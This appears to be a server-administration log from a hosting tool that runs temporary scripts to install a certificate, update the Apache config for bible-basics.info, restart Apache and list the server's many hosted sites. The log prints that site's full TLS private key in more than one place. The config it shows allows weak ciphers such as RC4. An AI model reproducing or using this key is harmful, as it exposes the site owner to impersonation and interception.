vG9PsJq3WP83sWP5VN6gwOYzlZBBwLtSmjblQrbviJutsV+PJ9XACFBw+nGMynFl
rC0yTr8C/iLrUerZwFoMMqo/sBjNnY+6DJCe8sbhAoGBAMyyY6SFMcLu/siaH0Hm
qg2/GwWRiR6P//lGzDkCZknKhxAvGsxcJig8aDLVZK91yM2UYatJYOue4aV3E9Az
Zgta88ovMSNXxqm53amiFJ91eOT69hAu6j3mdILl3ahtSKD1u9pJMfXvn0ctVVK3
3UhTRPnCjcq2q6SSkrxudVse
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-09 11:15:17: 

chmod 755 /tmp/pkp533717; /tmp/pkp533717; rm /tmp/pkp533717

2025-10-09 11:15:17: 


dir=/etc/ssl/certs


2025-10-09 11:15:17: 

PUT: /tmp/pkp187614

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/bible-basics_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-09 11:15:17: 

chmod 755 /tmp/pkp187614; /tmp/pkp187614; rm /tmp/pkp187614

2025-10-09 11:15:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf 45

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-09 11:15:17: 

PUT: /tmp/pkp996538

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bible-basics_www_info.conf
TARGET=/etc/apache2/sites-enabled/bible-basics_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/bible-basics_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf= 1'
fi


2025-10-09 11:15:17: 

chmod 755 /tmp/pkp996538; /tmp/pkp996538; rm /tmp/pkp996538

2025-10-09 11:15:17: 




2025-10-09 11:15:17: 

PUT: /tmp/pkp620846

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-09 11:15:17: 

chmod 755 /tmp/pkp620846; /tmp/pkp620846; rm /tmp/pkp620846

2025-10-09 11:15:17: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 11:15:17: Establishing a connection
2025-10-09 11:15:17: 

PUT: /tmp/pkp876821

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-09 11:15:17: 

chmod 755 /tmp/pkp876821; /tmp/pkp876821; rm /tmp/pkp876821

2025-10-09 11:15:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 11:15:17: 

PUT: /tmp/pkp502499

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/bible-basics_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 11:15:17: 

chmod 755 /tmp/pkp502499; /tmp/pkp502499; rm /tmp/pkp502499

2025-10-09 11:15:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf	1420

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-09 11:15:17: 

PUT: /tmp/pkp596524

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 11:15:17: 

chmod 755 /tmp/pkp596524; /tmp/pkp596524; rm /tmp/pkp596524

2025-10-09 11:15:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt	5382
be:3b:52:e7:e2:a3:d1:ba:88:9f:91:08:8a:9b:0d:2f

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBZE95ZA0u3OG8B1pNXE7CdzuMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTAxNjQ1WhcNMjYwMTA3MTAxNjQ0WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANe3Evy8qqbL6HELNcwB+2DgBN0KYizFS6ECTrGbqRJnXQKsVwf8x5YvdVmj
o2wdYhqnP+KQPoD+wpESkj6tEDRx7UuLI7gz9+FJJzVt45K6fWxa1IknJ/N3SS0g
34u0t5ukytSZvqWjGHnsWPCdia15yZzvQRefENz/jRPK5s/B6FP74p6BZjNhcc++
SJPRuiK3HlyEzwLX4n8CUT8GN8JjwhPmC12IdyUs/RC3KjIb7GRmNs6gvV/BVwML
jWMqvN14CUCwQ4nFg9q+GgY0soIJ2fRD6sXD6kFZmHj7PA+djwMLtzwbSo787Ee0
OdJhIzpOOsJpa4YwI6SzE0jiLtMCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUFPxTb3Q3aLjUCE6ZfTDRRUSfks8wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFiaWJsZS1iYXNpY3MuaW5m
b4IVd3d3LmJpYmxlLWJhc2ljcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTExLmNybDCC
AQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+u
zl1wQS0lTMfUAAABmciusTIAAAQDAEYwRAIgHqz22EYeSczhwzByP1KzTYrObWTm
T/5NIOSn5mcaitoCIHct4EMsYR4kVU7VvTdrQ3x4P8VAMLwxCgh/Yiie6nGHAHYA
lpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGZyK6xewAABAMARzBF
AiEA7jxNx6MBx0UQHsThyEHxTRVzbXftTYMgtZHmVNzSPTECIGaDQT6qrlDN0Pc2
jbeFGaBEiGIArVfOQt8cbgRJ4gjKMA0GCSqGSIb3DQEBCwUAA4IBAQB7rW+/M8Qd
875qKVIpd2qknbvalCTnEDDKJLuKgCEmbOGtrIuxchDrv6k3bXGXTPpgY7EukvxC
Eth+RHy6La2loDoXzRwf7XtrH3jwutt5dzKCtXKVkjTfY3M4aPuDEzvyrLGVC//n
FbawvAPbswRxS/M4qiHW8iFufPTzraJR3Q8mRS+EasYtApk+bMI/F+4lM7Etwxi6
2QI/jA/B8SLCcdFa7SHqns1EzWyaNxGqL+HJqdrIEIyuxKKnr5onJFJRQO3Vxl5n
FHaflV9AhDtO3e3JiV+ZOwz8qBaRoik9suAPLyr7GrSQB9osuh52CzYfMkFy3Gsx
3hf7qJLYTK3N
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDXtxL8vKqmy+hx
CzXMAftg4ATdCmIsxUuhAk6xm6kSZ10CrFcH/MeWL3VZo6NsHWIapz/ikD6A/sKR
EpI+rRA0ce1LiyO4M/fhSSc1beOSun1sWtSJJyfzd0ktIN+LtLebpMrUmb6loxh5
7FjwnYmtecmc70EXnxDc/40TyubPwehT++KegWYzYXHPvkiT0boitx5chM8C1+J/
AlE/BjfCY8IT5gtdiHclLP0QtyoyG+xkZjbOoL1fwVcDC41jKrzdeAlAsEOJxYPa
vhoGNLKCCdn0Q+rFw+pBWZh4+zwPnY8DC7c8G0qO/OxHtDnSYSM6TjrCaWuGMCOk
sxNI4i7TAgMBAAECggEAAkO5v017vSSG3Cjx96JNsUaoxmlFfpLTqG0Nxm+L5tWO
9Gg6waq1ra3x3W8KWCg2z3DSCt7YySHjiQJY5q+KbAKGKzTauyRQhdzuvHDa4r9y
caDCem4ezT+DVSXzMtRC2S9xsamrhrGfoCgLBvugZmHQ7ATW+hiBZNCJ+ps2sRej
Fp4yLM1TvtrcW7TtC6s8pQ2qLWMCJl7RdV5p+8JmMQhD0JHc8toUFYvPlcVDv8QD
cfxxisYN5eQI2auHnAXGMD3hG4CN4C/g343nQsq5o96srfiL8pN9tI25E1ZqxKTd
ODsXKisA2RHLz7R3JYzR7opLUkUr0Q6/u4fc+w5CgQKBgQD71ApYMpakLsF8iz82
8zMgtBf14SaYon1K3BOuOWblZCTwoOld0eXS/2Cpmy/zdYE8xlgrkksPXhjbuJAx
a7r05zZVvK+piWIZCmhR+U4czC4ImPrXqI3bHLW95Yd2gWlZuDZDldjntfxey0bo
Xfme+sziopYCT4+nuBMEBJ+dlQKBgQDbSeJcp6McvbOZhYHEAr86EXu5NPks7uCc
CDBdv4bIKT0DvkULC/9Q8EF8i4mgBxx3zblh2kCXs4suv+v/2qSKMEcnGDiloffc
JCOeHgWuDBEx3FFKgqEeAp7IUicUyeAqd16bXgLAloeqsefKwFLfRtzuPWj1x4hg
SQ4CRgfwxwKBgQDnwEOk1yl6/uxhSWRrlXS/6/0A8qsqXJ8hfVc/RuRCxt6X8/3P
sZLnks3KSF7glorQ+1e5AXDCO750tm08jgAH0aBXVsXyJ9R3ZvSKO/x+1AipMN/o
B95Efy9iCxGXJZFmV/jYSdbLptcSBdDDl3hZrkVPbIDQr5dsqiIV2Itr4QKBgHzm
iFfd47nrEvDOaisKpYCdlKrY0VQWezhkMagz/sDjPC11oj24h6PCNIqLr8fGRSC3
vG9PsJq3WP83sWP5VN6gwOYzlZBBwLtSmjblQrbviJutsV+PJ9XACFBw+nGMynFl
rC0yTr8C/iLrUerZwFoMMqo/sBjNnY+6DJCe8sbhAoGBAMyyY6SFMcLu/siaH0Hm
qg2/GwWRiR6P//lGzDkCZknKhxAvGsxcJig8aDLVZK91yM2UYatJYOue4aV3E9Az
Zgta88ovMSNXxqm53amiFJ91eOT69hAu6j3mdILl3ahtSKD1u9pJMfXvn0ctVVK3
3UhTRPnCjcq2q6SSkrxudVse
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
